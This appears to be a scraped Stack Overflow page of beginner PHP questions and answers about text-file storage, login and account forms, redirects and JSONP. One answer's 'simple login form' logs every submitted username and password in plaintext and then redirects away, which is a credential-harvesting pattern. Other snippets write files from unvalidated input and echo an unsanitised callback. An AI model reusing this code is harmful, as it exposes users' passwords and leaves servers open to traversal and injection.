Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 7 years ago.
Improve this question
I am trying to make a online "bank" for me and my friends to use in games, like Minecraft. I got most of the things working, but the trade thing. The setup is that I use a text file as the storage for the amount of money we have, then call those text files from within my PHP code, but the math isn't working right.I will put a link to a zipped version of the whole site. I did start a session, and all of those things.
Zipped file: [GOOGLE DOCS HOSTED ZIP]
<!DOCTYPE html>
<html>
<body>
<?php
$riley = fopen("riley.txt", "r") or die("Unable to read data!");
$ethan = fopen("ethan.txt", "r") or die("Unable to read data!");
$ethanw = fopen("ethan.txt", "w") or die("Unable to write data!");
$rileyw = fopen("riley.txt", "w") or die("Unable to write data!");
$user = $_SESSION["user"];
$amm = $_POST["amm"];
if ($user == "ethan") {
$txt = $ethan - $amm;
fwrite($ethanw, $txt);
$txt = $riley + $amm;
fwrite($rileyw, $txt);
}
if ($user == "riley") {
$txt = $riley - $amm;
fwrite($rileyw, $txt);
$txt = $ethan + $amm;
fwrite($ethanw, $txt);
}
fclose($riley);
fclose($ethan);
?>
<p> transaction made. Redirecting to home in 3 seconds </p>
<?php
sleep(3);
header("Location: bank.php");
die();
?>
</body>
</html>
The problem here is that you are referencing the file wrapper, not the contents of the file itself.
Example:
$txt = $ethan - $amm;
If passed, say, $10, This line of code is actually executing..
$txt = [file wrapper] - 10;
Since file wrapper is not a value, you're getting your math wrong. You need to either read from the wrapper with: http://php.net/manual/en/function.fread.php
OR
Just use a different function entirely. This is what I would do. I would pass these variables: amount, user. I would set user to the affected user's bank account (aside from my own, from the session, of course.)
<!DOCTYPE html>
<html>
<body>
<?php
$users = array('riley', 'ethan');
$banks = array();
foreach($users as $account_holder) {
// Set the path of your file holding this persons bank
$file_path = $account_holder . ".txt";
// Lets set the $values[name] variable to the contents of the file
// we also cast this as an integer, so that if empty, it will still be zero
// I also prepended the function with #, to suppress any errors (if this bank doesnt exist yet)
$banks[ $account_holder ] = (int) #file_get_contents($file_path);
}
function saveBanks() {
// Access from within the function scope
global $banks;
// Loop through the banks
foreach($banks as $account_holder => $balance) {
// Set the path of your file holding this persons bank
$file_path = $account_holder . ".txt";
// Open the file, create if necessary, empty either way
$fp = fopen($file_path, 'w');
// Write balance to file
fwrite($fp, $balance);
// Close file wrapper
fclose($fp);
}
}
// Let's grab our active user, and transaction amount
// If youre not familiar with this 'if' style, it's: condition ? value if true : value if false;
// http://davidwalsh.name/php-ternary-examples
$active_user = isset($_SESSION["user"]) ? $_SESSION["user"] : die("There is no active user.");
$txn_amount = isset($_POST["amount"]) ? $_POST["amount"] : die("There was no transaction amount received.");
$txn_user = isset($_POST["user"]) ? $_POST["user"] : die("There's no receiving bank account.");
// Process the transaction, check for validity
if(!isset($banks[ $txn_user ])) die("That receiving bank account doesn't exist.");
// Adjust balances
$banks[ $active_user ] -= $txn_amount;
$banks[ $txn_user ] += $txn_amount;
// Write to files
saveBanks();
?>
<p> Transaction made. Redirecting to home in 3 seconds. </p>
<p> New Balances: <?php foreach($banks as $user=>$bal): ?> <li><b><?php echo $user; ?></b>: <?php echo $bal; ?></li><?php endforeach; ?></p>
<meta http-equiv="refresh" content="3;url=bank.php" />
</body>
</html>
Related
I want to create a create account page for my simple login site where the user clicks a create account button and they are brought to a page with the following form to enter a login name and a password.
<form action = "createaccount.php" method="get">
<h1> Please enter your information to create a new login account</h1>
<p>
<label>Login Name:</label><input type = "text" name = "name" />
<label>Password:</label><input type = "password" name = "pwd" />
<br/><br/>
</p>
<input type = "submit" id = "submit" value = "submit"/>
<input type = "reset" id = "reset" value = "reset"/>
</form>
After the user enters there data into the input boxes I want to run a php script to store this data into a text file called accounts.php (I know it is not secure but this data has no value to me as i am making it up as part of the learning process).
So far I have the following php code to store the data in the file createaccount.php
<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
$fclose ($fp);
echo ("account created");
header("Location: "login.html");
die();
?>
This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format
username1:password1
username2:password2
etc.
then echo the screen account created and then take the user to my login.html page so they can log in with there new account info.
But I try and run the code and it does not save my data to the file at all and when i submit the form it does not direct me back to the my login screen i just get a message saying page cannot be displayed.
How to create a simple Login form.
html (login.html)
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
php (login.php)
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);
} ?>
//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
</body>
</html>
Hopefully that helps, any other questions add me on skype.
Skype: YouRGenetics
Website: ItzGenetics.com
~NOTE
If your using a hosting company (GoDaddy,ect) that uses permissions make sure you give all permissions to the php file and the txt file.
There are a few things wrong with your code
$fclose remove the $ sign. Otherwise error reporting will throw:
Fatal error: Function name must be a string in...
Then, you have an extra quote in
header("Location: "login.html");
^ right there
which should read as:
header("Location: login.html");
However, you're doing an echo. You can't echo and have a header. You're outputting before header.
Use echo or header.
<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
fclose ($fp);
// echo OR header, not both
// echo ("account created");
header("Location: login.html");
die();
?>
Sidenote: You're storing information with GET. At the very least, use POST. You're transmitting this LIVE over the Web and the information will be shown in your Web browser's address bar. Should it ever go LIVE; be careful.
As you said, it's not secure. Use .htaccess to protect this file.
Example code in .htaccess
<Files data.txt>
order allow,deny
deny from all
</Files>
You should also look into the following for password storage:
CRYPT_BLOWFISH or PHP 5.5's password_hash() function.
For PHP < 5.5 use the password_hash() compatibility pack.
Add error reporting to the top of your file(s) which will help find errors.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// rest of your code
Sidenote: Error reporting should only be done in staging, and never production.
This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format
username1:password1
username2:password2
etc.
If you want to save it with a colon as a seperator, then change
fwrite ($fp, $username . "," . $password . "\n");
^
to
fwrite ($fp, $username . ":" . $password . "\n");
^
Using text files is a lot of work and demands more resources when working with these, especially when it comes to editing, deleting etc..
The use of a database is by far less maintenance and more secure when using prepared statements.
I think first you have to check the return value of fopen:
$fp = fopen($filename, 'a+');
if (FALSE === $fp) {
echo 'Can not open file...';
}
And the same for fwrite...
In an assignment I'm having trouble running a php script with page handling. It's outputting actual php code when submitted through another php page but works fine on its own.
I have a html login page which submits via submit buttons rather than form submit [a requirement]. This submits to login.php.
Seperately I have testBalance.php which checks a file balance.txt on my server which simply has an amount (1000). testBalance.php calls a function in getBalance.php to return the amount here.
THE PROBLEM IS when I run testBalance.php by itself it works just fine. Displaying "Account Balance: 1000.00" but when I attempt to set (in login.php) testBalance.php as the redirect url, the page literally displays code from my testBalance.php page: "Account balance: "); printf ( "%01.2f", $returnValue ); echo ("
"); ?> " I know it's convoluted, this is an intro to php portion of an web prog. class. I'm guessing it has to do with the value pairs that are being passed through to the pages. Can anyone help?
LOGIN.HTML snippit
<input type="button" name="sub_but" id="bal" value="check balance"
onclick="location.href = 'login.php' + '?' + 'name='+ document.forms[0].username.value +
'&redirectURL=' + 'bal';" />
LOGIN.PHP
<?php
$NAME=$_GET["name"];
$PAGE=$_GET["redirectURL"];
$DESTINATION="";
if ($NAME == ''){ /* HANDLES NAME ERRORS */
echo "PLEASE RETURN AND ENTER A NAME.";
}
elseif (ctype_alpha(str_replace(' ', '', $NAME)) === false) {
echo "$NAME is not a valid name. Name must contain letters and spaces only";
}
else{
if($PAGE=='with'){
$DESTINATION = "withdraw.html";
}
elseif($PAGE=='bal'){
//$DESTINATION = "balance.html";
$DESTINATION = "testBalance.php";
}
elseif($PAGE=='depos'){
$DESTINATION = "deposit.html";
}
elseif($PAGE=='weath'){
$DESTINATION = "weather.html";
}
elseif($PAGE=='xchang'){
$DESTINATION = "currency.html";
}
/*echo("$DESTINATION\r\n");*/
header("Content-Length: " .
strlen(file_get_contents($DESTINATION)));
header("Cache-Control: no-cache");
readfile($DESTINATION);
}
?>
testBalance.php body snippit
<?php
include 'getBalance.php';
$returnValue = readBalance();
echo "<p>Account balance: ";
printf( "%01.2f", $returnValue );
echo "</p>";
?>
getBalance.php
<?php
function readBalance(){
$file = "balance.txt";
$fp = fopen($file, "r");
if (!$fp){
echo "<p>Could not open the data file.</p>";
$balance = 0;
}
else{
$balance = fgets($fp);
fclose ($fp);
}
return $balance;
}
?>
readfile() doesn't EXECUTE anything it reads. It's literally just slurping in the file's bytes and spitting them out to the client. It's basically doing
echo file_get_contents(...);
If you want your other files to be executed, you need to include() or require() them instead. Or you could try eval(), but you really don't want to go down that route. eval() is evil and dangerous.
Thanks to stackoverflow I got my little project going, but I am in need of some advice again. I would like to check if a user is logged on domain1.com and return a message on domain2. There is a lot more to the code. Below I have included a basic example of it.
index.php on http://domain2.com
<script type="text/javascript" src="http://domain1.com/test.php?js"></script>
test.php is on http://domain1.com.
<?php
if (isset($_GET['js'])){
header("Content-type:text/javascript");
?>
function doAjax(){
$.getJSON("http://domain1.com/index.php/home/callback.php?name=name&callback=?",
function(message) {
alert("Data Saved");
});
}
document.write('<button onclick="doAjax();">Submit</button>');
<?php } ?>
<?php exit; } ?>
callback.php is on http://domain1.com. This is where I would like to check if the user is logged in or not. If the user is logged in, the file gets written, if not I want to send a message to domain2.com asking for login.
<?php
$callback = $_GET['callback'];
$name = $_GET['name'];
$myFile = "txt/tester.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
fwrite($fh, $name);
fclose($fh);
header("Content-Type: application/javascript");
?>
<?php echo $callback; ?>("Message from the server");
This last part I got from a previous question. <?php echo $callback; ?>("Message from the server"); If that's the message to domain2, how do I call it?
So, basically, domain 2 is expecting a JSONP object from callback.php on domain 1. To format your message in a JSON object, enclose your message in an associative array (e.g: $msg = array('message' => 'This is the callback message');, and then pass it back to domain 2 with echo $_GET['callback'].'('.json_encode($msg).')'; Also, set the Content-Type in your header() declaration to application/json.
So I have a simple form that takes a user input, passes it to a separate PHP script that does some processing on a different domain, and posts a txt file if successful. Example:
<form method="GET" action="inventory_check.php" target="_blank">
Part Number <input type="text" name="part" /><input type="submit" value="Check Inventory" />
</form>
<?php
$filename = $userInput;
if (file_exists('ftpMain/'.$filename.'')) {
$handle = fopen("ftpMain/".$filename."", "r");
$output = fread($handle, filesize('ftpMain/'.$filename.''));
fclose($handle);
$output = trim($output, '&l0O(10U');
$output = trim($output, 'E ');
echo $output;
}
else {
echo 'Failure.';
}
?>
So, inventory_check.php obviously is an inventory lookup for us, however, it's contained on another server (different domain) so it completes its processing and posts it to a file, that I read, cleanup, and display. Now my issue is twofold, I need to grab and keep the input from the user to find the filename and the second is I need to page to either reload or recheck if the file exists. What is the best approach to do this?
Note: We use an awful in house DBMS, so posting and retrieving from a DB is not an option, it took us a while to get it to read the input and FTP it correctly, so it looks like this is the only path.
Why don't you make the request in your server A? by using curl, so you could get the response right after the query.
Firstly, you'll need to get the user's input properly, and sanitize it. I'll leave out the details of the sanitize() method, as that's not really what you're asking.
<?php
if(isset($_POST)) {
$part_number = sanitize($_POST['part']);
$filename = "ftpMain/$part_number";
if (file_exists($filename)) {
$handle = fopen($filename, "r");
$output = fread($handle, filesize($filename));
fclose($handle);
/* Do things with output */
} else {
echo 'Failure.';
}
}
?>
However, you say that the file is on another server - looking for ftpMain/... is only going to look for a directory called ftpMain in your current directory. Is the file publicly available on the internet? If it is, you could do something like this:
<?php
$url = "http://yourserver.com/parts/$part_number.txt";
$response = get_headers($url, 1);
if ($response[0] == 'HTTP/1.1 200 OK') {
/* The file exists */
} else {
/* The file does not exist */
}
?>
I hope I've understood your question correctly - this assumes that the form action is pointing to itself. That is, your file with this code is also called inventory_check.php.
I'm very new to PHP, and I can't figure out why this is happening.
For some reason, when exit fires the entire page stops loading, not just the PHP script. Like, it'll load the top half of the page, but nothing below where the script is included.
Here's my code:
$page = $_GET["p"] . ".htm";
if (!$_GET["p"]) {
echo("<h1>Please click on a page on the left to begin</h1>\n");
// problem here
exit;
}
if ($_POST["page"]) {
$handle = fopen("../includes/$page", "w");
fwrite($handle, $_POST["page"]);
fclose($handle);
echo("<p>Page successfully saved.</p>\n");
// problem here
exit;
}
if (file_exists("../includes/$page")) {
$FILE = fopen("../includes/$page", "rt");
while (!feof($FILE)) {
$text .= fgets($FILE);
}
fclose($FILE);
} else {
echo("<h1>Page "$page" does not exist.</h1>\n");
// echo("<h1>New Page: $page</h1>\n");
// $text = "<p></p>";
// problem here
exit;
}
Even if you have HTML code following your PHP code, from the web server's perspective it is strictly a PHP script. When exit() is called, that is the end of it. PHP will output process and output no more HTML, and the web server will not output anymore html. In other words, it is working exactly as it is supposed to work.
If you need to terminate the flow of PHP code execution without preventing any further HTML from being output, you will need to reorganize your code accordingly.
Here is one suggestion. If there is a problem, set a variable indicating so. In subsequent if() blocks, check to see if previous problems were encountered.
$problem_encountered = FALSE;
if (!$_GET["p"]) {
echo("<h1>Please click on a page on the left to begin</h1>\n");
// problem here
// Set a boolean variable indicating something went wrong
$problem_encountered = TRUE;
}
// In subsequent blocks, check that you haven't had problems so far
// Adding preg_match() here to validate that the input is only letters & numbers
// to protect against directory traversal.
// Never pass user input into file operations, even checking file_exists()
// without also whitelisting the input.
if (!$problem_encountered && $_GET["page"] && preg_match('/^[a-z0-9]+$/', $_GET["page"])) {
$page = $_GET["p"] . ".htm";
$handle = fopen("../includes/$page", "w");
fwrite($handle, $_GET["page"]);
fclose($handle);
echo("<p>Page successfully saved.</p>\n");
// problem here
$problem_encountered = TRUE;
}
if (!$problem_encountered && file_exists("../includes/$page")) {
$FILE = fopen("../includes/$page", "rt");
while (!feof($FILE)) {
$text .= fgets($FILE);
}
fclose($FILE);
} else {
echo("<h1>Page "$page" does not exist.</h1>\n");
// echo("<h1>New Page: $page</h1>\n");
// $text = "<p></p>";
// problem here
$problem_encountered = TRUE;
}
There are lots of ways to handle this, many of which are better than the example I provided. But this is a very easy way for you to adapt your existing code without needing to do too much reorganization or risk breaking much.
In PHP 5.3+ you can use the goto statement to jump to a label just before the ?> instead of using exit in the example given in the question.
It would'n work well with more structured code (jumping out of functions), tough.
Maybe this should be a comment, who knows.